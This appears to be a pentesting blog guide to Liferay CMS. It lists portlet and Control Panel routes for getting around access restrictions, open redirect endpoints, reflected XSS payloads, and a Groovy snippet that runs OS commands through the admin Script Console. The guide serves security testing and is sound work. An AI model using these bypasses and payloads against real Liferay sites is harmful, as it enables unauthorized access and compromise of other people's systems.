Cybersecurity blog header

Pentesting Liferay Applications

For security reasons it is advisable to carry out pentesting of Liferay applications to avoid incidents

This Pentesting Liferay Applications guide includes techniques that can be used to identify vulnerabilities and flaws in Liferay environments

Liferay is a platform developed in the early 2000s that provides a Content Management System (CMS) which currently powers thousands of websites for very successful companies and government entities. As pentesters and red teamers, it is very common to find a Liferay instance as part of the infrastructure of a company. However, due to the very little documentation freely available online and the limited research that has been done on it in comparison to other CMSs such as WordPress or Drupal, it is quite challenging to find examples of common misconfigurations and previous vulnerabilities in Liferay instances.

In response, this blog post aims to provide an easy to understand and useful guide to pentesting Liferay Applications.

Liferay offers two main products: Liferay Portal CE and Liferay DXP. Their main difference is that the first one is free and has less functionalities than the second one, which is only available for partners who pay a subscription fee.

Both are based on Liferay’s open source portal technology but the most common one is Liferay DXP. From now on, we will be referring to Liferay DXP when mentioning Liferay.

Finding hidden resources

Liferay is a very powerful platform with many functionalities that allow building very complex applications. However, due to the inconsistency of its documentation and its hard readability, developers often overlook many of these functionalities that the platform offers, leading to misconfigurations that may allow attackers to bypass restrictions and access some dangerous resources.

Portlets

Liferay applications are composed of portlets, which can be understood as “little web applications”, usually written in Java, that provide a certain functionality to the Liferay application. There are many Liferay developed portelts which come by default in every Liferay installation. Then, developers can easily expand the functionalities of the portal by creating their own portlets. They can be accessed using the following route and parameters:

/?p_p_id=<portlet_ID>&p_p_lifecycle=0&p_p_state=<window_state>& p_p_mode=<mode>

Where:

  • portlet_ID: ID of the portlet to be executed. Can be a numeric ID, which is an incremental number for each portlet, or a fully qualified portlet ID, which is a string.
  • window_state: Amount of space a portlet takes up on a page. Possible values are:
    • normal
    • maximized
    • minimized
  • mode: Portlet’s current function. Possible values are:
    • view
    • edit
    • help

As an example, the resource and parameters to access the login portlet may be something like this:

/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view

Regarding the mode parameter, the only valid value for non-admins in the default portlets is view, however, it may be worth a try in custom portlets.

In order to discover portlets in a Liferay application, an attacker can iterate over the numeric IDs (for example ranging from 0 to 500) and over the list of default fully qualified portlet IDs. Here are some of the most common and interesting default ones:

Asset Publisher com_liferay_asset_publisher_web_portlet_AssetPublisherPortlet
Documents and Media com_liferay_document_library_web_portlet_DLPortlet
Navigation Menu com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet
Site Map com_liferay_site_navigation_site_map_web_portlet_SiteNavigationSiteMapPortlet
Web Content Display com_liferay_journal_content_web_portlet_JournalContentPortlet
Search Bar com_liferay_portal_search_web_search_bar_portlet_SearchBarPortlet
Search com_liferay_portal_search_web_portlet_SearchPortlet

If authenticated, it may also be a good option to perform this brute force attack over the actual Control Panel route. For example, if the Control Panel route for the application is /group/control_panel/manage, then an attacker could iterate over the following resource:

/group/control_panel/manage?p_p_id=<portlet_ID>&p_p_lifecycle=0&p_p_state=maximized& p_p_mode=view

Control Panel is discussed later in this post.

Login page

When configuring a CMS, it is very common to hide the login page or to restrict its access so that attackers cannot execute brute forcing attacks or try to login with leaked credentials. In Liferay, this is usually done by restricting access to the following default routes:

/login
/c/portal/login

However, since the Liferay login page is built as a portlet, it may also be accessed by using its portlet route directly:

/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin

Register Page

Being able to register a new account and gain authenticated access in a CMS can be very powerful for an attacker, since it allows defacing the web page and also expands the attack surface, which heavily increases the likehood of the attacker finding new vulnerabilities. In this case, Liferay allows disabling registering new accounts, however, developers may have missed this configuration parameter and just restricted access to the register endpoint.

However, since the register page is an extension of the portlet that provides the login functionality, it can also be accessed by adding a parameter in the portlet route for the login page:

/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account

It’s important to note that when disabling registration of new accounts, some Liferay applications may still allow accessing the register page by navigating to these routes. However, the registration process will not complete and the new account won’t be created, so it must always be checked before reporting it as a vulnerability.

APIs

Liferay offers different APIs to interact with the application, which may suppose an opportunity for an attacker to discover functionalities that may not be available through the frontend interface of the application in case the developers have tried to restrict them. These APIs are the following:

  • JSON Web Services, which provide a graphical interface to easily traverse and interact with each endpoint:
/api/jsonws

  • GraphQL, which allow running introspection queries to get the full schema of the endpoint, including data types, queries and mutations:
/o/graphql

If authenticated, there is also a route in which both the JSON Web Services and the GraphQL APIs can be consulted through a nice graphical interface:

/o/api

License manager

Administrators of the Liferay application can get information about the license state and the server inside the Control Panel. This information is sometimes publicly accessible at the following route:

/c/portal/license

Public user profiles

Each user that exists in the application has a public profile or user page, which can be accessed publicly. This can usually be used to enumerate users in the application:

/web/<user>
/web/<user>/home

Besides, every Liferay application has a default guest user whose web page is accessible and is usually the home page of the portal, which may contain some resources that developers may have tried to hide such as a login button or a search bar:

/web/guest
/web/guest/home

User web pages will be later discussed again in the Dangerous functionalities section.

User configuration

Authenticated users can edit their configuration at the user configuration page. However, some developers choose to overwrite the native Liferay user configuration and implement their very own, sometimes even restricting the user from editing some parameters such as usernames, emails, profile pictures, etc.

For example, this may happen in infrastructures where a Liferay application is being used as a corporation intranet and each user has an immutable username and email. In these cases, it may be possible to access the Liferay user configuration anyways and editing these parameters in the following routes:

/user/<user>
/user/<user>/manage
/user/<user>/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/group/control_panel/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPo

Control panel

Authenticated users can edit sites, wikis, blogs, comments and every element that they have access to via the Control Panel, depending on their role and permissions. It is very important to check every area of this Control Panel, since developers often overlook permissions and users can usually edit more elements than what they are supposed to. Also, to prevent users from doing so, developers sometimes restrict access to the Control Panel by blocking some URLs. However, there are many ways of accessing it, so it is easy to bypass this kind of restrictions:

/group/control_panel/manage
/group/guest/control_panel/manage
/group/guest/~/control_panel/manage
/group/<user>/control_panel/manage
/group/<user>/~/control_panel/manage
/user/<user>/control_panel/manage
/user/<user>/~/control_panel/manage

If none of these routes allow accessing the Control Panel, adding the parameters corresponding to an accessible portlet may do the trick and show the portlet along with the Control Panel. For example, if the login portlet is accessible at:

 /?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view

The following routes may allow accessing the Control Panel:

/group/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/group/guest/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/group/guest/~/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/group/<user>/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/group/<user>/~/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/user/<user>/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/user/<user>/~/control_panel/manage?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view

In some cases, the Control Panel may even be used to get information about other users, such as their roles, permissions and even their data:

/user/<other_user>/control_panel/manage
/user/<other_user>/~/control_panel/manage

Dangerous “functionalities”

Liferay applications offer some functionalities whose default state is not secure and may produce serious vulnerabilities. These functionalities are not being patched by Liferay developers since they are considered to be working as expected. However, as we will see, they suppose a serious risk to the security of the application.

Open redirect

By default, Liferay allows redirecting to an arbitrary domain in the following routes:

/html/common/referer_jsp.jsp?referer=<url>
/html/common/referer_js.jsp?referer=<url>
/html/common/forward_jsp.jsp?FORWARD_URL=<url>
/html/common/forward_js.jsp?FORWARD_URL=<url>

This allows attackers to use the legitimate Liferay application to redirect users into an arbitrary domain, enabling further attacks such as phishing or using it as part of a more complex exploit chain.

In older versions of Liferay, some of these same routes are also vulnerable to a Reflected XSS vulnerability, in which the attacker can execute JavaScript code in the browser of the user that clicks on the malicious link:

/html/common/referer_js.jsp?referer=javascript:alert("XSS")
/html/common/forward_js.jsp?FORWARD_URL=javascript:alert("XSS")

However, since this vulnerability was fixed discreetly by the Liferay developers, it’s not clear which versions are vulnerable and it doesn’t have an assigned CVE.

Custom JavaScript on user profiles

Previously in this post, we have mentioned user profiles, which are public pages that each user in the application can edit in order to display some custom content. These pages allow adding custom JavaScript and can be accessed by anyone, even non authenticated users, turning this feature into a very powerful Stored XSS vulnerability.

Code execution on administrator control panel

As in any other CMS, administrators have way more powerful functionalities than any other user. In the case of Liferay, when an administrator accesses the Control Panel, there is an option to enable the Gogo Shell, which allows administrators to manage application modules. However, this shell can also be used to execute some OS commands, such as traversing the directories in the server and reading files. Once enabled, it can be accessed at the following route:

/group/control_panel/manage?p_p_id=com_liferay_gogo_shell_web_internal_portlet_GogoShellPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_gogo_shell_web_internal_portlet_GogoShellPortlet_javax.portlet.action=executeCommand

As commented, this is not an OS shell, so the commands that can be executed are limited:

The Control Panel for administrators also allows enabling the Script Console, which is a Groovy interpreter. It can be accessed at the following route:

/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script

In this case, the Script Console allows running OS commands without any restriction with the following code:

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = "<command>".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "$sout"

Known vulnerabilities

As any other piece of software, Liferay has had numerous vulnerabilities in the past and will probably have more in the future. They provide an index for most known vulnerabilities so that they can be tracked correctly. As pentesters and redteamers, they can be very useful to exploit unpatched applications. However, there is one Liferay vulnerability which is worth mentioning due to its impact.

RCE via deserialization of untrusted data (CVE-2020-7961)

CVE-2020-7961 is a vulnerability affecting Liferay Portal < 7.2.1 which consists of a deserialization of untrusted data in the JSON web services API (/api/jsonws). There exists a writeup about the exploitation process and many exploits are available on Github. In order to exploit this vulnerability, no authentication or special setup is required, it works by default on vulnerable versions of Liferay.

Conclusion

Liferay is a powerful platform that offers a wide range of functionalities and a complex architecture. Its flexibility and modularity allow developers to create highly specific configurations that best suit their needs.

However, this ability to extensively customize every part of the application also increases the chance of introducing new vulnerabilities, which can pose a significant risk to organizations using Liferay.

This article aims to serve as a guide for conducting penetration testing services in Liferay environments, providing techniques to identify common vulnerabilities and misconfigurations, ultimately helping to minimize the risk associated with potential attacks.